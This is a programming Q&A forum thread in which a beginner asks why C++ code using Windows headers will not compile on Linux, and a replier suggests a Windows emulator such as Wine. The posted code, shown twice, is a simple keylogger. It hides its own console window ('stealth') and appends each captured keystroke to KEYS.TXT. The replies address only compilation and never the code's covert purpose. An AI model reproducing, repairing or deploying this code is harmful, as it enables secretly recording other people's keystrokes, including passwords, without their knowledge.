Click here to Skip to main content
15,897,704 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
gud day guys, i getting started in c++ and am using linux while writing windows app, but i always get error while compiling codes that includes those windows related headers files like windows.h etc...


# include <stdio.h>
# include <conio.h>
 #include <stdio.h>                
 # include <windows.h>
# include <winuser.h>
# include <iostream.h>

int main ( void )
  {
     int cha;
     char ch;
     FILE *fptr;
     HWND stealth; /*creating stealth (window is not visible)*/
     AllocConsole();
     stealth=FindWindowA("ConsoleWindowClass",NULL);
     ShowWindow(stealth,0);
     while(1)
     {
           if ( kbhit() )
      {
          ch = getch();
            cha = ch;
         fptr = fopen("KEYS.TXT", "a+");
           fputc(ch,fptr);
           fclose(fptr);
          if ( cha == 27 )
      {
          return 0;
}
}
}
}


What I have tried:

# include <stdio.h>
# include <conio.h>
 #include <stdio.h>                
 # include <windows.h>
# include <winuser.h>
# include <iostream.h>

int main ( void )
  {
     int cha;
     char ch;
     FILE *fptr;
     HWND stealth; /*creating stealth (window is not visible)*/
     AllocConsole();
     stealth=FindWindowA("ConsoleWindowClass",NULL);
     ShowWindow(stealth,0);
     while(1)
     {
           if ( kbhit() )
      {
          ch = getch();
            cha = ch;
         fptr = fopen("KEYS.TXT", "a+");
           fputc(ch,fptr);
           fclose(fptr);
          if ( cha == 27 )
      {
          return 0;
}
}
}
}
Posted
Updated 13-Feb-18 2:07am

1 solution

That is because Linux is not Windows. You need to get hold of the Windows emulator, see Windows on linux - Google Search[^].
 
Share this answer
 
Comments
Allaye 13-Feb-18 8:20am    
Thanks for your suggestion, but what i was asking for a cross-compiler that will allow me compile codes which contains those headers meant for windows ....
Richard MacCutchan 13-Feb-18 8:25am    
You do not need a cross compiler, you need the Windows SDK on Linux. And the only way you can do that is by using a Windows emulator that runs on Linux.
Allaye 13-Feb-18 8:51am    
thanks very much, which emulator do you think i should use....? so using the emulator i will be able to compiled the codes right......
Richard MacCutchan 13-Feb-18 12:14pm    
I have not done it myself, but Wine is the most commonly recommended one.
Allaye 13-Feb-18 12:26pm    
i have wine on Linux already.. but i cant still get the codes to compile

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900